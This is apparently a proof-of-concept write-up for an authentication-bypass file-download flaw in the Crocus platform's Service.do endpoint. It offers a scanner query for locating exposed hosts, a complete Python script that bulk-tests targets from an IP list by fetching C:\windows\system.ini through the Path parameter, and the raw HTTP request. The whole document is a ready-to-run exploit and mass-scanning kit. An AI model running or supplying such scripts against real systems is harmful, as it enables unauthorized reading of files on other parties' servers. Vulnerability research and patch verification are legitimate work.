Vulnerability Profile

The Crocus platform exposes an authentication-bypass flaw within its Service.do interface. Attackers can manipulate the Path parameter associated with the Download action to access restricted system files.

Identification Strategy

Network Scanning

Public internet scanners can identify susceptible endpoints by searching for specific input fields often present on affected versions. Query Example: web.body="inp_verification"

Verification Tooling

A custom script can automate the validation process.

import requests
import argparse
import urllib3

# Suppress SSL verification alerts
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def verify_download_path(target_host):
    """
    Validates if the target allows unauthorized file access.
    
    :param target_host: Base URL of the target application.
    """
    # Default browser signature
    default_headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
    }
    
    # Define sensitive target path for proof-of-concept
    test_file = r"C:\windows\system.ini"
    
    # Assemble the malicious request URL
    full_url = f"{target_host.strip('/')}/Service.do?Action=Download&Path={test_file}"
    
    try:
        resp = requests.get(full_url, headers=default_headers, verify=False, timeout=15)
        
        # Assess response integrity and content presence
        if resp.status_code == 200 and "icondir" in resp.text.lower():
            print(f"[+] VULNERABLE: {target_host}")
        else:
            print(f"[-] SAFE: {target_host}")
                
    except Exception as err:
        print(f"[!] Error processing {target_host}: {err}")

def initialize_arguments():
    parser = argparse.ArgumentParser(description='Scan for Crocus Download Exposure')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-t', '--target', help='Single target URL')
    group.add_argument('-l', '--list', help='File containing URLs (one per line)')
    return parser.parse_args()

def execute_scan(args):
    if args.target:
        if not args.target.startswith(('http://', 'https://')):
            args.target = f"http://{args.target}"
        verify_download_path(args.target)
    elif args.list:
        with open(args.list, 'r', encoding='utf-8') as fh:
            lines = fh.readlines()
            for line in lines:
                url = line.strip()
                if url and not url.startswith(('http://', 'https://')):
                    url = f"http://{url}"
                verify_download_path(url)

if __name__ == "__main__":
    flags = initialize_arguments()
    execute_scan(flags)

Command execution example: python crocus_check.py -l ips.txt

Request Interpretation

HTTP Packet Composition

GET /Service.do?Action=Download&Path=C:/windows/system.ini HTTP/1.1
Host: <IP_Address>

Field Explanation

1. Method: GET requests data extraction.
2. Endpoint: /Service.do acts as the controller for service operations.
3. Parameters:
   • Action=Download: Activates the file retrieval module.
   • Path=<System_Directory>: Directs the reader to a specific OS file path.
4. Response Indicator: A successful read returns the file content alongside a satndard HTTP 200 status code.